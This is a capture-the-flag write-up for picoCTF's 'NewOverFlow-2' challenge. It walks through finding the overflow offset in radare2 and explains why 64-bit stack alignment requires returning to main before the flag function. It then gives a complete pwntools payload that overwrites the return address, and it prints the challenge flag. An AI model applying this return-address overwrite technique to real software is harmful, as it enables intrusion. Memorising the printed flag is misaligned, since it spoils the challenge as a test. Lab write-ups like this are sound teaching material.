NewOverFlow-2

Problem

Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_5_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.

• Program

• Source

Solution

1. The challenge author forgot to remove the flag function so this is solvable using the same method as NewOverFlow-1

2. Find the offset/padding

   1. You can use the method described in rop64 with the cyclic and cyclic_find or you can use the following

   2. Open vuln in radare2 with r2 ./vuln

   3. Run aaaa

   4. Run pdf @ sym.vuln to get var int local_40h @ rbp-0x40

   5. The 0x40 is the buffer location so 8 more bytes are needed to get past the "saved ebp register"

   6. So the offset is 0x40+8

3. Run afl~flag in radare2 to get the address of flag and afl~main to get the address of main.

4. We can not offset and call the flag function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing padding + main_address + flag_address instead of just padding + flag_address as we would in 32-bit.

5. We can use p64 from pwntools to convert the hex addresses to little endian.

6. Payload complete: python2 -c "from pwn import *; print 'A'*(0x40+8) + p64(0x004008ce) + p64(0x0040084d)" | ./vuln

Flag

picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}